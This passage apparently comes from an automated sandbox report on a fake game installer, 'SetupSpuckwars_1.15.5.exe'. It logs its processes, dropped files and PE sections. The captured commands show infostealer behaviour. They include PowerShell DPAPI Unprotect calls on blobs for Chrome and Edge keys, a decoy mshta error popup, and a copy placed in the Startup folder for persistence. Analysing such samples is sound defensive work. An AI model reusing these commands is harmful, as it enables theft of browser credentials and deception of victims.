[System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
Source: unknownProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe"
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1624 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2024 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic file information: File size 69319004 > 1048576
Source: SetupSpuckwars_1.15.5.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
Source: ffmpeg.dll.0.drStatic PE information: section name: .00cfg
Source: ffmpeg.dll.0.drStatic PE information: section name: .gxfg
Source: ffmpeg.dll.0.drStatic PE information: section name: .retplne
Source: ffmpeg.dll.0.drStatic PE information: section name: .voltbl
Source: ffmpeg.dll.0.drStatic PE information: section name: _RDATA
Source: libEGL.dll.0.drStatic PE information: section name: .00cfg
Source: libEGL.dll.0.drStatic PE information: section name: .gxfg
Source: libEGL.dll.0.drStatic PE information: section name: .retplne
Source: libEGL.dll.0.drStatic PE information: section name: .voltbl
Source: libEGL.dll.0.drStatic PE information: section name: _RDATA
Source: libGLESv2.dll.0.drStatic PE information: section name: .00cfg
Source: libGLESv2.dll.0.drStatic PE information: section name: .gxfg
Source: libGLESv2.dll.0.drStatic PE information: section name: .retplne
Source: libGLESv2.dll.0.drStatic PE information: section name: .voltbl
Source: libGLESv2.dll.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe.0.drStatic PE information: section name: .00cfg
Source: spuckwars.exe.0.drStatic PE information: section name: .gxfg
Source: spuckwars.exe.0.drStatic PE information: section name: .retplne
Source: spuckwars.exe.0.drStatic PE information: section name: .rodata
Source: spuckwars.exe.0.drStatic PE information: section name: .voltbl
Source: spuckwars.exe.0.drStatic PE information: section name: CPADinfo
Source: spuckwars.exe.0.drStatic PE information: section name: LZMADEC
Source: spuckwars.exe.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe.0.drStatic PE information: section name: malloc_h
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .00cfg
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .gxfg
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .retplne
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .voltbl
Source: vk_swiftshader.dll.0.drStatic PE information: section name: _RDATA
Source: vulkan-1.dll.0.drStatic PE information: section name: .00cfg
Source: vulkan-1.dll.0.drStatic PE information: section name: .gxfg
Source: vulkan-1.dll.0.drStatic PE information: section name: .retplne
Source: vulkan-1.dll.0.drStatic PE information: section name: .voltbl
Source: vulkan-1.dll.0.drStatic PE information: section name: _RDATA
Source: ffmpeg.dll0.0.drStatic PE information: section name: .00cfg
Source: ffmpeg.dll0.0.drStatic PE information: section name: .gxfg
Source: ffmpeg.dll0.0.drStatic PE information: section name: .retplne
Source: ffmpeg.dll0.0.drStatic PE information: section name: .voltbl
Source: ffmpeg.dll0.0.drStatic PE information: section name: _RDATA
Source: libEGL.dll0.0.drStatic PE information: section name: .00cfg
Source: libEGL.dll0.0.drStatic PE information: section name: .gxfg
Source: libEGL.dll0.0.drStatic PE information: section name: .retplne
Source: libEGL.dll0.0.drStatic PE information: section name: .voltbl
Source: libEGL.dll0.0.drStatic PE information: section name: _RDATA
Source: libGLESv2.dll0.0.drStatic PE information: section name: .00cfg
Source: libGLESv2.dll0.0.drStatic PE information: section name: .gxfg
Source: libGLESv2.dll0.0.drStatic PE information: section name: .retplne
Source: libGLESv2.dll0.0.drStatic PE information: section name: .voltbl
Source: libGLESv2.dll0.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe0.0.drStatic PE information: section name: .00cfg
Source: spuckwars.exe0.0.drStatic PE information: section name: .gxfg
Source: spuckwars.exe0.0.drStatic PE information: section name: .retplne
Source: spuckwars.exe0.0.drStatic PE information: section name: .rodata
Source: spuckwars.exe0.0.drStatic PE information: section name: .voltbl
Source: spuckwars.exe0.0.drStatic PE information: section name: CPADinfo
Source: spuckwars.exe0.0.drStatic PE information: section name: LZMADEC
Source: spuckwars.exe0.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe0.0.drStatic PE information: section name: malloc_h
Source: spuckwars.exe.2.drStatic PE information: section name: .00cfg
Source: spuckwars.exe.2.drStatic PE information: section name: .gxfg
Source: spuckwars.exe.2.drStatic PE information: section name: .retplne
Source: spuckwars.exe.2.drStatic PE information: section name: .rodata
Source: spuckwars.exe.2.drStatic PE information: section name: .voltbl
Source: spuckwars.exe.2.drStatic PE information: section name: CPADinfo
Source: spuckwars.exe.2.drStatic PE information: section name: LZMADEC
Source: spuckwars.exe.2.drStatic PE information: section name: _RDATA
Source: spuckwars.exe.2.drStatic PE information: section name: malloc_h
Source: 0fddd3c7-f5ed-405a-a51a-7dec4b6a2baf.tmp.node.2.drStatic PE information: section name: _RDATA
Source: ff48538d-447c-44d8-b8dd-56b91bbce6b3.tmp.node.2.drStatic PE information: section name: _RDATA
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ffmpeg.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\ff48538d-447c-44d8-b8dd-56b91bbce6b3.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\spuckwars.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resources\elevate.exeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vk_swiftshader.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\nsis7z.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\0fddd3c7-f5ed-405a-a51a-7dec4b6a2baf.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\System.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\ffmpeg.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\0fddd3c7-f5ed-405a-a51a-7dec4b6a2baf.tmp.nodeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\ff48538d-447c-44d8-b8dd-56b91bbce6b3.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\LICENSE.electron.txtJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSE.electron.txtJump to behavior

Boot Survival

barindex
Drops PE files to the startup folder
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
